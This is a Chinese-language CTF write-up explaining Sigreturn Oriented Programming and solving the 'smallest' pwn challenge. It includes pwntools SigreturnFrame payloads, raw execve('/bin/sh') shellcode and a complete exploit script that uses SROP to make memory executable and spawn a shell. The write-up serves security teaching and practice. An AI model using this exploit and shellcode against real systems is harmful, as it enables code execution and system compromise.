基础知识

Sigreturn Oriented Programming (SROP) Attack攻击原理
Sigreturn Oriented Programming攻击简介

SROP利用条件总结:

  1. 有一个bof可以控制栈上的内容
  2. 没有开canary
  3. 可以找到sigreturn的地址(或eax可控,可以找到syscall;ret的地址)
  4. 可以找到syscall的地址

SROP构造frame时,eax为系统调用号,eip为syscall的地址。根据elf arch设置rdi rsi rdx ecx r8 r9参数 或者 ebx ecx edx。esp可以设置可以不设置。 参考pwnlib.rop.srop模块。 比如:

# amd64
	context(os='linux', arch='amd64')
 	frame_execve = SigreturnFrame(kernel='amd64')
	frame_execve.rax = constants.linux.amd64.SYS_execve# 10
	frame_execve.rdi = rsp2 + 0x98 # rcx 
	frame_execve.rsi = 0
	frame_execve.rdx = 0
	frame_execve.rcx = 0x68732f6e69622f #/bin/sh
	frame_execve.rsp = rsp2
	frame_execve.rip = syscallret_addr
	payload3 = p64(start_addr) + 'D'*8 + str(frame_execve)
	sd(payload3)
	log.info('finish arrange context frame and return to 0x4000B0')
# i386
	context(os='linux', arch='i386')
	frame = SigreturnFrame(kernel='i386')
	frame.eax = constants.SYS_execve
	frame.ebx = stack_addr - 0x4 
	frame.ecx = 0
	frame.edx = 0
	frame.esp = stack_addr + 0x14 + 0x4 + 0x14 + 0x4 #0xdeadbeaf #stack_addr + 0x14 + 0x8
	frame.eip = syscall_addr

	ru("Let's start the CTF:")
	payload3 = ...  p32(sigreturn_addr) + p32(syscall_addr) + str(frame)

关于sigreturn和syscall的地址寻找也是利用的核心。 在i386 上 syscall和sigreturn可以在vdso中找到,因此需要有vdso的基址。 在amd64上,可以在vsyscall固定地址 0xffffffffff600000中找到,x/3i 0xffffffffff600000查看。 当然也可以用ROPgadget寻找,其它的寻找方式见基础知识链接,不一一总结了。

需要注意的是,sigreturn的功能仅仅是恢复frame中的内容到寄存器。 call sigreturn时,esp肯定是指向frame之前的地址的第一个字节(首位的一些字节被覆盖也没事)。 sigreturn_addr + str(frame)

如果是利用eax和syscall来完成sigreturn的功能。对于amd64,sys_rt_sigreturn的系统调用号rax为0xf,可以先利用一次bof把frame布置在栈上,再控制eax为0xf来完成利用。对于i386,sys_sigreturn的系统调用号eax为0x77(119),可以同时布置frame和控制eax来完成利用。

smallest

smallest 题目很简单,仅仅调用了read的syscall,开了NX。看到题目中存在syscall;retn,并且可以通过read来设置rax的值。对于SROP来说,最核心的syscall和sigreturn的地址已经解决了。

两个思路
1.srop 实现syscall mprotect + 读入shellcode执行
首先利用bof布置srop mprotect的frame,利用rop回到程序起始位置。根据read函数,控制rax的值来调用syscall实现sigreturn,完成mprotect功能(利用syscall;retn和rsp实现syscall chain返回程序起始位置)。再读入shellcode执行即可。

2.srop 实现syscall mprotect + srop实现syscall execve
实现mprotect后,即可以在.text段可以布置’/bin/sh\x00’,再利用一次srop即可。

exp

from pwn import *
import time

local = 1
attach = local & 0
bps = attach & 0
wait = 0
debug = attach & 1 
proc_name = 'smallest'
#socat TCP4-LISTEN:10001,fork EXEC:./ascii
ip = '127.0.0.1' 
port = 10001
io = None
context(os='linux', arch='amd64')
if debug:
	context(log_level='debug')

def wait():
	'''wait while debug and sleep while exploiting'''
	if wait == 1 :
		raw_input('continue send?')
	else:
		sleep(1)

def makeio():
    global io 
    if local:
    	io = process(proc_name)
    else:
    	io = remote(ip,port)
def ru(data):
	return io.recvuntil(data)
def rv():
	return io.recv()
def sl(data):
	return io.sendline(data)
def sd(data):
	return io.send(data)
def rl():
	return io.recvline()

def way1():
	# 1.read payload to rsp 0x400028 (shellcode must have less than 5 push)

	#shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
	# not enough stack space
	#shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
	# strange shellcode failed while push
	#shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
	# strange shellcode  success while push
	shellcode = "\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80" 
	payload3 = p64(0x400028) + shellcode
	sd(payload3)
	log.info('finish arrange shellcode')
	
syscallret_addr = 0x4000BE # syscall ; ret
start_addr = 0x4000B0
point_start_addr = 0x400128
rsp2 = 0x400140

def way2():
	# attach()
	# 1. use srop to execve('/bin/sh',0,0)
 	frame_execve = SigreturnFrame(kernel='amd64')
	frame_execve.rax = constants.linux.amd64.SYS_execve# 10
	frame_execve.rdi = rsp2 + 0x98 # rcx 
	frame_execve.rsi = 0
	frame_execve.rdx = 0
	frame_execve.rcx = 0x68732f6e69622f #/bin/sh
	frame_execve.rsp = rsp2
	frame_execve.rip = syscallret_addr
	payload3 = p64(start_addr) + 'D'*8 + str(frame_execve)
	sd(payload3)
	log.info('finish arrange context frame and return to 0x4000B0')
	
	# ===
	wait()
	payload4 = p64(syscallret_addr).ljust(15,'B')
	log.info('finish call sigreturn and syscall execve')
	sd(payload4)


def attach():
	if attach == 1 :
		if bps:
			gdb.attach(pidof(proc_name)[0], open('bps'))
		else:
			gdb.attach(pidof(proc_name)[0])

def pwn():
	'''rop + srop + shellcode'''
	makeio()
	if debug:
		context(os='linux', arch='amd64', log_level='debug')
	attach()
	# ===
	# 1. use rop in bof and return to 0x4000B0
	# 2. use 'A'*8 to padding for sigreturn addr to be setted next time
	# 3. follow by sys_mprotect context frame to set 0x400000 rwx

	# initialize sys_mprotect frame
	frame = SigreturnFrame(kernel='amd64')
	frame.rax = constants.linux.amd64.SYS_mprotect # 10
	frame.rdi = 0x400000
	frame.rsi = 0x1000
	frame.rdx = 7
	frame.rsp = point_start_addr
	frame.rip = syscallret_addr
	payload1 = p64(start_addr)+ 'A'*8 +str(frame)
	sd(payload1)
	log.info('finish arrange context frame and return to 0x4000B0')

	# ===
	# 1. use read 15 bytes to set eax
	# 2. use 15 syscall to call sigreturn and it will restore the registers saved in context frame
	# 3. use 10 syscall  (mprotect)
	# 4. ret to start
	wait()
	payload2 = p64(syscallret_addr).ljust(15,'B')
	sd(payload2)
	log.info('finish sigreturn and sys_mprotect the binary with rwx permission')
	
	wait()

	way2()
	
	io.interactive()

if __name__ == '__main__':
	pwn()